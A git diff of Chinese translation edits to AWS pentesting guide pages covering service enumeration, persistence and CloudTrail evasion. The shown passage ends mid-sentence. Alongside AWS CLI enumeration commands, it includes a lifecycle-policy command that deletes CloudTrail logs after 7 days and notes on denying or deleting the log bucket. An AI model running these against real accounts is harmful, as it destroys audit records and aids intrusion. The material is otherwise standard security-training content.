**数据平面操作**,包括数据生产和消费。它基于 **开源版本的 Apache Kafka** 运行,确保与现有应用程序、工具和来自合作伙伴及 **Apache Kafka 社区** 的插件兼容,消除了对应用程序代码进行更改的需要。 在可靠性方面,Amazon MSK 旨在 **自动检测和恢复常见的集群故障场景**,确保生产者和消费者应用程序在数据写入和读取活动中保持最小的中断。此外,它旨在通过尝试 **重用被替换代理的存储** 来优化数据复制过程,从而最小化 Apache Kafka 需要复制的数据量。 -### **Types** +### **类型** AWS 允许创建 2 种类型的 Kafka 集群:预配置和无服务器。 从攻击者的角度来看,您需要知道: -- **无服务器不能直接公开**(它只能在没有任何公开暴露 IP 的 VPN 中运行)。然而,**预配置** 可以配置为获取 **公共 IP**(默认情况下不获取)并配置 **安全组** 以 **暴露** 相关端口。 +- **无服务器不能直接公开**(它只能在没有任何公开暴露 IP 的 VPN 中运行)。然而,**预配置** 可以配置为获取 **公共 IP**(默认情况下它没有)并配置 **安全组** 以 **暴露** 相关端口。 - **无服务器** **仅支持 IAM** 作为身份验证方法。**预配置** 支持 SASL/SCRAM (**密码**) 身份验证、**IAM** 身份验证、AWS **证书** 管理器 (ACM) 身份验证和 **未认证** 访问。 - 请注意,如果启用了未认证访问,则无法公开暴露预配置的 Kafka。 @@ -86,7 +86,7 @@ kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer ### Persistence -如果您将要**访问VPC**,其中有一个Provisioned Kafka,您可以**启用未授权访问**,如果**SASL/SCRAM身份验证**,**读取**密码从秘密中,给予一些**其他受控用户IAM权限**(如果使用IAM或无服务器)或通过**证书**保持持久性。 +如果您将要**访问VPC**,其中有一个Provisioned Kafka,您可以**启用未授权访问**,如果**SASL/SCRAM身份验证**,**从秘密中读取**密码,给予一些**其他受控用户IAM权限**(如果使用IAM或无服务器),或通过**证书**保持持久性。 ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md index 8ed7d3c6c..c60d69340 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md @@ -4,12 +4,12 @@ ## 基本信息 -AWS Organizations 使得创建新的 AWS 账户变得简单且无需额外费用。资源可以轻松分配,账户可以高效分组,并且可以对单个账户或组应用治理政策,从而增强组织内的管理和控制。 +AWS Organizations 使得创建新的 AWS 账户变得更加简单,而无需承担额外费用。资源可以轻松分配,账户可以高效分组,并且可以对单个账户或组应用治理政策,从而增强组织内的管理和控制。 -关键点: +要点: -- **新账户创建**:AWS Organizations 允许创建新的 AWS 账户而无需额外费用。 -- **资源分配**:它简化了跨账户分配资源的过程。 +- **新账户创建**:AWS Organizations 允许在没有额外费用的情况下创建新的 AWS 账户。 +- **资源分配**:简化了跨账户分配资源的过程。 - **账户分组**:账户可以被分组在一起,使管理更加高效。 - **治理政策**:可以对账户或账户组应用政策,确保组织内的合规性和治理。 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md index b27b3670a..4aca36dad 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md @@ -4,16 +4,16 @@ ## Directconnect -允许**将企业私有网络与AWS连接**(这样您可以攻破EC2实例并访问企业网络)。 +允许**将企业私有网络与AWS连接**(这样您可以攻陷一个EC2实例并访问企业网络)。 ``` aws directconnect describe-connections aws directconnect describe-interconnects aws directconnect describe-virtual-gateways aws directconnect describe-virtual-interfaces ``` -## Support +## 支持 -在AWS中,您可以通过API访问当前和以前的支持案例。 +在 AWS 中,您可以通过 API 访问当前和以前的支持案例。 ``` aws support describe-cases --include-resolved-cases ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md index 3483838fc..15ea062b9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md @@ -12,13 +12,13 @@ Redshift 是一个完全托管的服务,可以扩展到超过一个 PB 的大 ### KMS -在创建集群时,您可以选择 Redshift 的 **默认 KMS 密钥** 或选择您自己的 **CMK**,这使您在密钥控制方面具有更大的灵活性,特别是从可审计的角度来看。 +在创建集群时,您可以选择 Redshift 的 **默认 KMS 密钥** 或选择您 **自己的 CMK**,这使您在密钥控制方面具有更大的灵活性,特别是从可审计的角度来看。 -Redshift 的默认 KMS 密钥是在第一次选择和使用密钥选项时自动创建的,并由 AWS 完全管理。 +Redshift 的默认 KMS 密钥在第一次选择和使用密钥选项时由 Redshift 自动创建,并由 AWS 完全管理。 此 KMS 密钥随后使用 CMK 主密钥进行加密,第一层。此加密的 KMS 数据密钥随后用作集群加密密钥,CEK,第二层。此 CEK 然后由 KMS 发送到 Redshift,在那里它与集群分开存储。Redshift 然后通过安全通道将此加密的 CEK 发送到集群,在内存中存储。 -Redshift 然后请求 KMS 解密 CEK,第二层。此解密的 CEK 也存储在内存中。Redshift 然后创建一个随机的数据库加密密钥,DEK,第三层,并将其加载到集群的内存中。内存中的解密 CEK 然后加密 DEK,DEK 也存储在内存中。 +Redshift 然后请求 KMS 解密 CEK,第二层。此解密的 CEK 也存储在内存中。Redshift 然后创建一个随机的数据库加密密钥,DEK,第三层,并将其加载到集群的内存中。内存中的解密 CEK 然后加密 DEK,该 DEK 也存储在内存中。 此加密的 DEK 然后通过安全通道发送并单独存储在 Redshift 中。CEK 和 DEK 现在都以加密和解密的形式存储在集群的内存中。解密的 DEK 然后用于加密数据密钥,第四层,这些密钥是 Redshift 为数据库中的每个数据块随机生成的。 @@ -28,15 +28,15 @@ Redshift 然后请求 KMS 解密 CEK,第二层。此解密的 CEK 也存储在
-使用 CloudHSM 的 Redshift +使用 Redshift 和 CloudHSM 在使用 CloudHSM 进行加密时,首先必须在 HSM 客户端和 Redshift 之间建立受信任的连接,同时使用客户端和服务器证书。 -此连接是提供安全通信所必需的,允许在 HSM 客户端和 Redshift 集群之间发送加密密钥。使用随机生成的私钥和公钥对,Redshift 创建一个公共客户端证书,该证书由 Redshift 加密并存储。必须下载并注册到您的 HSM 客户端,并分配给正确的 HSM 分区。 +此连接是提供安全通信所必需的,允许加密密钥在 HSM 客户端和 Redshift 集群之间发送。使用随机生成的私钥和公钥对,Redshift 创建一个公共客户端证书,该证书被加密并由 Redshift 存储。必须下载并注册到您的 HSM 客户端,并分配给正确的 HSM 分区。 然后,您必须使用以下 HSM 客户端的详细信息配置 Redshift:HSM IP 地址、HSM 分区名称、HSM 分区密码和公共 HSM 服务器证书,该证书由 CloudHSM 使用内部主密钥加密。一旦提供了这些信息,Redshift 将确认并验证它可以连接并访问开发分区。 -如果您的内部安全政策或治理控制规定您必须应用密钥轮换,那么这在 Redshift 中是可能的,允许您为加密集群轮换加密密钥,但您需要注意,在密钥轮换过程中,它会使集群在非常短的时间内不可用,因此最好仅在需要时或如果您觉得密钥可能已被泄露时进行轮换。 +如果您的内部安全政策或治理控制规定您必须应用密钥轮换,那么这在 Redshift 中是可能的,使您能够为加密集群轮换加密密钥,但您需要注意,在密钥轮换过程中,它会使集群在非常短的时间内不可用,因此最好仅在需要时或如果您觉得密钥可能已被泄露时进行轮换。 在轮换期间,Redshift 将为您的集群及其任何备份轮换 CEK。它将为集群轮换 DEK,但无法为使用 DEK 加密的存储在 S3 中的快照轮换 DEK。它将使集群处于“轮换密钥”的状态,直到过程完成,状态将返回为“可用”。 @@ -81,15 +81,15 @@ aws redshift describe-scheduled-actions # The redshift instance must be publicly available (not by default), the sg need to allow inbounds connections to the port and you need creds psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U admin -d dev -p 5439 ``` -## Privesc +## 提权 {{#ref}} ../aws-privilege-escalation/aws-redshift-privesc.md {{#endref}} -## Persistence +## 持久性 -以下操作允许将对集群的访问权限授予其他AWS账户: +以下操作允许将访问权限授予其他 AWS 账户到集群: - [authorize-endpoint-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-endpoint-access.html) - [authorize-snapshot-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-snapshot-access.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index 55330a865..220329f8e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -1,4 +1,4 @@ -# AWS - Relational Database (RDS) Enum +# AWS - 关系数据库 (RDS) 枚举 {{#include ../../../banners/hacktricks-training.md}} @@ -10,7 +10,7 @@ AWS RDS 支持多种广泛使用的关系数据库引擎,包括 MySQL、Postgr RDS 的主要特点包括: -- **数据库实例的管理** 简化。 +- **数据库实例管理** 简化。 - 创建 **只读副本** 以增强读取性能。 - 配置 **多可用区 (AZ) 部署** 以确保高可用性和故障转移机制。 - 与其他 AWS 服务的 **集成**,例如: @@ -20,11 +20,11 @@ RDS 的主要特点包括: ## 凭证 -创建 DB 集群时,可以配置主 **用户名**(默认为 **`admin`**)。要生成该用户的密码,可以: +创建 DB 集群时,可以配置主 **用户名**(默认是 **`admin`**)。要生成该用户的密码,可以: - **自己指定** 一个 **密码** - 告诉 RDS **自动生成** 它 -- 告诉 RDS 在 **AWS Secret Manager** 中管理它,并使用 KMS 密钥进行加密 +- 告诉 RDS 在 **AWS Secret Manager** 中管理它,并使用 KMS 密钥加密
@@ -49,7 +49,7 @@ RDS 的主要特点包括: 通过启用加密,您启用了 **存储、快照、只读副本和备份的静态加密**。管理此加密的密钥可以通过 **KMS** 发放。\ 在数据库创建后,无法添加此级别的加密。**必须在创建时进行**。 -然而,有一个 **解决方法允许您加密未加密的数据库,如下所示**。您可以创建未加密数据库的快照,创建该快照的加密副本,使用该加密快照创建新数据库,最后,您的数据库将被加密。 +然而,有一个 **变通方法允许您加密未加密的数据库,如下所示**。您可以创建未加密数据库的快照,创建该快照的加密副本,使用该加密快照创建新数据库,最后,您的数据库将被加密。 #### 透明数据加密 (TDE) @@ -62,7 +62,7 @@ RDS 的主要特点包括: - 但是,重要的是要注意,选项组仅适用于特定的数据库引擎和版本。 2. **在选项组中包含 TDE**: - 一旦与选项组关联,Oracle 透明数据加密选项需要包含在该组中。 -- 需要认识到,一旦将 TDE 选项添加到选项组中,它就成为永久性固定项,无法移除。 +- 需要认识到,一旦将 TDE 选项添加到选项组,它将成为永久性固定项,无法移除。 3. **TDE 加密模式**: - TDE 提供两种不同的加密模式: - **TDE 表空间加密**:此模式加密整个表,提供更广泛的数据保护范围。 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md index 27c44f695..6d27fe69e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md @@ -4,13 +4,13 @@ ## Route 53 -亚马逊 Route 53 是一个云 **域名系统 (DNS)** 网络服务。\ +Amazon Route 53 是一个云 **域名系统 (DNS)** 网络服务。\ 您可以通过 Route53 创建 https、http 和 tcp **网页健康检查**。 ### 基于 IP 的路由 这对于调整您的 DNS 路由以为最终用户做出最佳 DNS 路由决策非常有用。\ -基于 IP 的路由为您提供了 **根据对客户群的特定知识优化路由** 的额外能力。 +基于 IP 的路由为您提供了 **根据您客户群的特定知识优化路由** 的额外能力。 ### 枚举 ```bash @@ -20,7 +20,7 @@ aws route53 list-resource-record-sets --hosted-zone-id # Get al aws route53 list-health-checks aws route53 list-traffic-policies ``` -### Privesc +### 提权 {{#ref}} ../aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md index 5eb766e8c..9260df7ef 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md @@ -6,7 +6,7 @@ Amazon S3 是一个允许您 **存储大量数据** 的服务。 -Amazon S3 提供多种选项来实现数据在静态状态下的 **保护**。这些选项包括 **权限**(策略)、**加密**(客户端和服务器端)、**桶版本控制** 和 **基于 MFA 的删除**。**用户可以启用** 这些选项中的任何一个来实现数据保护。**数据复制** 是 AWS 的一项内部功能,**S3 会自动在所有可用区复制每个对象**,在这种情况下,组织无需启用它。 +Amazon S3 提供多种选项来实现数据在静态时的 **保护**。这些选项包括 **权限**(策略)、**加密**(客户端和服务器端)、**桶版本控制** 和 **基于 MFA 的删除**。**用户可以启用** 这些选项中的任何一个来实现数据保护。**数据复制** 是 AWS 的一项内部功能,**S3 会自动在所有可用区复制每个对象**,组织在这种情况下无需启用它。 通过基于资源的权限,您可以单独为存储桶的子目录定义权限。 @@ -18,7 +18,7 @@ Amazon S3 提供多种选项来实现数据在静态状态下的 **保护**。 ### S3 访问日志 -可以 **启用 S3 访问登录**(默认情况下是禁用的)到某个存储桶,并将日志保存在另一个存储桶中,以了解谁在访问该存储桶(两个存储桶必须在同一区域内)。 +可以 **启用 S3 访问日志**(默认情况下是禁用的)到某个存储桶,并将日志保存在另一个存储桶中,以了解谁在访问该存储桶(两个存储桶必须在同一区域内)。 ### S3 预签名 URL @@ -26,7 +26,7 @@ Amazon S3 提供多种选项来实现数据在静态状态下的 **保护**。 ``` https://.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa ``` -一个预签名的 URL 可以**使用具有访问对象权限的主体的凭证从 CLI 创建**(如果您使用的帐户没有访问权限,将创建一个较短的预签名 URL,但它将无用) +可以**使用具有访问对象权限的主体凭据从cli创建预签名URL**(如果您使用的帐户没有访问权限,将创建一个较短的预签名URL,但它将无用) ```bash aws s3 presign --region 's3:///' ``` @@ -44,7 +44,7 @@ ExpiresIn=3600 ``` ### S3 加密机制 -**DEK 意味着数据加密密钥**,是始终生成并用于加密数据的密钥。 +**DEK 代表数据加密密钥**,是始终生成并用于加密数据的密钥。
@@ -71,7 +71,7 @@ ExpiresIn=3600 - 加密: - S3 向 KMS CMK 请求数据密钥 -- KMS 使用 CMK 生成明文 DEK 和加密 DEK 对,并将其发送到 S3 +- KMS 使用 CMK 生成明文 DEK 和加密 DEK 对并将其发送给 S3 - S3 使用明文密钥加密数据,存储加密数据和加密密钥,并从内存中删除明文密钥 - 解密: - S3 请求 KMS 解密对象的加密数据密钥 @@ -89,7 +89,7 @@ ExpiresIn=3600 - 加密: - 用户将对象数据 + 客户密钥发送到 S3 - 客户密钥用于加密数据,且加密数据被存储 -- 客户密钥的盐值 HMAC 值也被存储以供将来密钥验证 +- 还存储客户密钥的盐值 HMAC 值以供将来密钥验证 - 客户密钥从内存中删除 - 解密: - 用户发送客户密钥 @@ -102,13 +102,13 @@ ExpiresIn=3600 使用 KMS 的客户端加密,CSE-KMS -与 SSE-KMS 类似,这也使用密钥管理服务生成您的数据加密密钥。然而,这次是通过客户端而不是 S3 调用 KMS。加密在客户端进行,随后将加密数据发送到 S3 存储。 +与 SSE-KMS 类似,这也使用密钥管理服务生成您的数据加密密钥。然而,这次是通过客户端而不是 S3 调用 KMS。加密在客户端进行,随后将加密数据发送到 S3 进行存储。 - 加密: - 客户端请求 KMS 的数据密钥 - KMS 返回明文 DEK 和与 CMK 的加密 DEK - 两个密钥都被发送回 -- 客户端使用明文 DEK 加密数据,并将加密数据 + 加密 DEK(作为加密数据的元数据存储在 S3 中)发送到 S3 +- 客户端使用明文 DEK 加密数据,并将加密数据 + 加密 DEK 发送到 S3(加密 DEK 作为加密数据的元数据存储在 S3 中) - 解密: - 带有加密 DEK 的加密数据发送到客户端 - 客户端请求 KMS 使用 CMK 解密加密密钥,KMS 返回明文 DEK @@ -124,7 +124,7 @@ ExpiresIn=3600 - 加密: - 客户端生成 DEK 并加密明文数据 -- 然后,使用其自定义 CMK 加密 DEK +- 然后,使用自己的自定义 CMK 加密 DEK - 提交加密数据 + 加密 DEK 到 S3 进行存储 - 解密: - S3 发送加密数据和 DEK @@ -134,7 +134,7 @@ ExpiresIn=3600 ### **枚举** -妥协 AWS 组织的传统主要方式之一是从妥协公开可访问的存储桶开始。 **您可以在此页面找到** [**公共存储桶枚举工具**](../aws-unauthenticated-enum-access/#s3-buckets)**.** +妥协 AWS 组织的传统主要方式之一是从妥协公共可访问的存储桶开始。 **您可以在此页面找到** [**公共存储桶枚举工具**](../aws-unauthenticated-enum-access/#s3-buckets)**。** ```bash # Get buckets ACLs aws s3api get-bucket-acl --bucket @@ -229,7 +229,7 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### dual-stack -您可以通过双栈端点使用虚拟托管样式或路径样式端点名称访问 S3 存储桶。这些对于通过 IPv6 访问 S3 很有用。 +您可以通过使用虚拟托管样式或路径样式的端点名称,通过双栈端点访问 S3 存储桶。这些对于通过 IPv6 访问 S3 很有用。 双栈端点使用以下语法: @@ -270,13 +270,13 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ## Amazon Athena -Amazon Athena 是一种交互式查询服务,使您能够直接在 Amazon Simple Storage Service (Amazon **S3**) 中 **分析数据**,使用标准 **SQL**。 +Amazon Athena 是一种交互式查询服务,使您可以直接在 Amazon Simple Storage Service (Amazon **S3**) 中 **分析数据**,使用标准 **SQL**。 -您需要 **准备一个关系型数据库表**,其格式与将出现在监控的 S3 存储桶中的内容相符。然后,Amazon Athena 将能够从日志中填充数据库,以便您可以查询它。 +您需要 **准备一个关系数据库表**,其格式与将出现在监控的 S3 存储桶中的内容相符。然后,Amazon Athena 将能够从日志中填充数据库,以便您可以查询它。 Amazon Athena 支持 **查询已经加密的 S3 数据**,如果配置为这样,**Athena 还可以加密查询结果,然后将其存储在 S3 中**。 -**结果的加密与被查询的 S3 数据是独立的**,这意味着即使 S3 数据未加密,被查询的结果也可以加密。需要注意的是,Amazon Athena 仅支持使用 **以下 S3 加密方法** **加密** 的数据,**SSE-S3、SSE-KMS 和 CSE-KMS**。 +**结果的加密与被查询的 S3 数据无关**,这意味着即使 S3 数据未加密,被查询的结果也可以加密。需要注意的几点是,Amazon Athena 仅支持使用 **以下 S3 加密方法** **加密** 的数据,**SSE-S3、SSE-KMS 和 CSE-KMS**。 SSE-C 和 CSE-E 不受支持。此外,重要的是要理解,Amazon Athena 仅会对 **与查询本身在同一区域的加密对象** 运行查询。如果您需要查询使用 KMS 加密的 S3 数据,则 Athena 用户需要特定权限以使其能够执行查询。 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md index a4adfd3df..a01f9fbc8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md @@ -4,7 +4,7 @@ ## AWS Secrets Manager -AWS Secrets Manager旨在**消除应用程序中硬编码秘密的使用,通过API调用替换它们**。该服务作为**所有秘密的集中存储库**,确保它们在所有应用程序中统一管理。 +AWS Secrets Manager旨在**消除应用程序中硬编码秘密的使用,通过用API调用替换它们**。该服务作为**所有秘密的集中存储库**,确保它们在所有应用程序中统一管理。 该管理器简化了**旋转秘密的过程**,显著提高了敏感数据(如数据库凭证)的安全态势。此外,像API密钥这样的秘密可以通过集成lambda函数自动旋转。 @@ -27,19 +27,19 @@ aws secretsmanager get-secret-value --secret-id # Get value aws secretsmanager get-secret-value --secret-id --version-id # Get value of a different version aws secretsmanager get-resource-policy --secret-id --secret-id ``` -### Privesc +### 提权 {{#ref}} ../aws-privilege-escalation/aws-secrets-manager-privesc.md {{#endref}} -### Post Exploitation +### 后期利用 {{#ref}} ../aws-post-exploitation/aws-secrets-manager-post-exploitation.md {{#endref}} -### Persistence +### 持久性 {{#ref}} ../aws-persistence/aws-secrets-manager-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index e82dd3fd6..9527fc181 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -19,9 +19,9 @@ AWS CloudTrail **记录和监控您 AWS 环境中的活动**。它捕获详细 - 请求参数: `requestParameters` - 响应元素: `responseElements` -事件每 **大约 5 分钟写入一个新的日志文件,格式为 JSON**,它们由 CloudTrail 保存,最后,日志文件 **大约在 15 分钟后交付到 S3**。\ +事件每 **约 5 分钟写入一个新的日志文件,格式为 JSON**,它们由 CloudTrail 保存,最后,日志文件 **大约在 15 分钟后交付到 S3**。\ CloudTrail 的日志可以 **跨账户和跨区域聚合。**\ -CloudTrail 允许使用 **日志文件完整性,以便能够验证您的日志文件自 CloudTrail 交付给您以来是否保持不变**。它在摘要文件中创建日志的 SHA-256 哈希。每小时创建新日志的 SHA-256 哈希。\ +CloudTrail 允许使用 **日志文件完整性,以便能够验证您的日志文件自 CloudTrail 交付给您以来是否保持不变**。它在摘要文件中创建日志的 SHA-256 哈希。每小时创建新日志的 sha-256 哈希。\ 创建 Trail 时,事件选择器将允许您指示要记录的 Trail:管理、数据或洞察事件。 日志保存在 S3 存储桶中。默认情况下使用服务器端加密(SSE-S3),因此 AWS 将为有权访问的人解密内容,但为了额外的安全性,您可以使用 SSE 和 KMS 及您自己的密钥。 @@ -29,7 +29,7 @@ CloudTrail 允许使用 **日志文件完整性,以便能够验证您的日志 日志存储在 **具有此名称格式的 S3 存储桶中**: - **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`** -- 存储桶名称为: **`aws-cloudtrail-logs--`** +- 其中 BucketName 为: **`aws-cloudtrail-logs--`** - 示例: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** 在每个文件夹中,每个日志将具有 **遵循此格式的名称**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** @@ -55,11 +55,11 @@ CloudTrail 允许使用 **日志文件完整性,以便能够验证您的日志 ### 从所有组织账户到 1 个 CloudTrail -创建 CloudTrail 时,可以指示为组织中的所有账户激活 CloudTrail,并将日志集中到一个存储桶中: +创建 CloudTrail 时,可以指示激活所有组织中的账户的 CloudTrail,并将日志集中到一个存储桶中:
-这样,您可以轻松地在所有账户的所有区域配置 CloudTrail,并将日志集中在一个账户中(您应该保护该账户)。 +这样,您可以轻松地在所有账户的所有区域中配置 CloudTrail,并将日志集中在一个账户中(您应该保护该账户)。 ### 日志文件检查 @@ -70,7 +70,7 @@ aws cloudtrail validate-logs --trail-arn --start-time [- ### 日志到 CloudWatch **CloudTrail 可以自动将日志发送到 CloudWatch,以便您可以设置警报,当执行可疑活动时提醒您。**\ -请注意,为了允许 CloudTrail 将日志发送到 CloudWatch,需要创建一个允许该操作的 **角色**。如果可能,建议使用 AWS 默认角色来执行这些操作。此角色将允许 CloudTrail: +请注意,为了允许 CloudTrail 将日志发送到 CloudWatch,需要创建一个 **角色** 来允许该操作。如果可能,建议使用 AWS 默认角色来执行这些操作。此角色将允许 CloudTrail: - CreateLogStream: 这允许创建 CloudWatch Logs 日志流 - PutLogEvents: 将 CloudTrail 日志传送到 CloudWatch Logs 日志流 @@ -83,20 +83,20 @@ CloudTrail 事件历史允许您在表格中检查已记录的日志: ### 洞察 -**CloudTrail 洞察** 自动 **分析** CloudTrail 路径中的写管理事件,并 **提醒** 您 **异常活动**。例如,如果 `TerminateInstance` 事件的增加与既定基线不同,您将看到它作为洞察事件。这些事件使 **发现和响应异常 API 活动比以往任何时候都更容易**。 +**CloudTrail Insights** 自动 **分析** 来自 CloudTrail 路径的写入管理事件,并 **提醒** 您 **异常活动**。例如,如果 `TerminateInstance` 事件的增加与既定基线不同,您将看到它作为一个洞察事件。这些事件使 **发现和响应异常 API 活动比以往任何时候都更容易**。 -洞察存储在与 CloudTrail 日志相同的存储桶中:`BucketName/AWSLogs/AccountID/CloudTrail-Insight` +洞察存储在与 CloudTrail 日志相同的存储桶中: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` ### 安全 | CloudTrail 日志文件完整性 |
  • 验证日志是否被篡改(修改或删除)
  • 使用摘要文件(为每个文件创建哈希)

    • SHA-256 哈希
    • 使用 RSA 进行数字签名的 SHA-256
    • 由 Amazon 拥有的私钥
  • 创建摘要文件需要 1 小时(每小时整点完成)
| | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | 防止未经授权的访问 |
  • 使用 IAM 策略和 S3 存储桶策略

    • 安全团队 —> 管理员访问
    • 审计员 —> 只读访问
  • 使用 SSE-S3/SSE-KMS 加密日志
| -| 防止日志文件被删除 |
  • 使用 IAM 和存储桶策略限制删除访问
  • 配置 S3 MFA 删除
  • 使用日志文件验证进行验证
| +| 防止日志文件被删除 |
  • 使用 IAM 和存储桶策略限制删除访问
  • 配置 S3 MFA 删除
  • 通过日志文件验证进行验证
| ## 访问顾问 -AWS 访问顾问依赖于过去 400 天的 AWS **CloudTrail 日志来收集其洞察**。CloudTrail 捕获在 AWS 账户中进行的 AWS API 调用和相关事件的历史记录。访问顾问利用这些数据 **显示服务最后一次访问的时间**。通过分析 CloudTrail 日志,访问顾问可以确定 IAM 用户或角色访问了哪些 AWS 服务以及何时发生该访问。这帮助 AWS 管理员做出有关 **精炼权限** 的明智决策,因为他们可以识别长时间未被访问的服务,并可能根据实际使用模式减少过于宽泛的权限。 +AWS 访问顾问依赖于过去 400 天的 AWS **CloudTrail 日志来收集其洞察**。CloudTrail 捕获在 AWS 账户中进行的 AWS API 调用及相关事件的历史记录。访问顾问利用这些数据 **显示服务最后一次访问的时间**。通过分析 CloudTrail 日志,访问顾问可以确定 IAM 用户或角色访问了哪些 AWS 服务以及何时发生该访问。这帮助 AWS 管理员做出有关 **精炼权限** 的明智决策,因为他们可以识别长时间未被访问的服务,并可能根据实际使用模式减少过于宽泛的权限。 > [!TIP] > 因此,访问顾问告知 **给予用户的不必要权限**,以便管理员可以删除它们 @@ -124,7 +124,7 @@ aws cloudtrail get-query-results --event-data-store --query-id ) > [!CAUTION] -> 请注意,所有被发现不创建CloudTrail日志的公共API现在已修复,因此您可能需要自己寻找... +> 请注意,所有被发现不创建CloudTrail日志的公共API现在都已修复,因此您可能需要自己寻找... > > 有关更多信息,请查看[**原始研究**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/)。 @@ -244,11 +244,11 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' ```bash aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region ``` -### 修改桶配置 +### 修改存储桶配置 -- 删除 S3 桶 -- 更改桶策略以拒绝来自 CloudTrail 服务的任何写入 -- 向 S3 桶添加生命周期策略以删除对象 +- 删除 S3 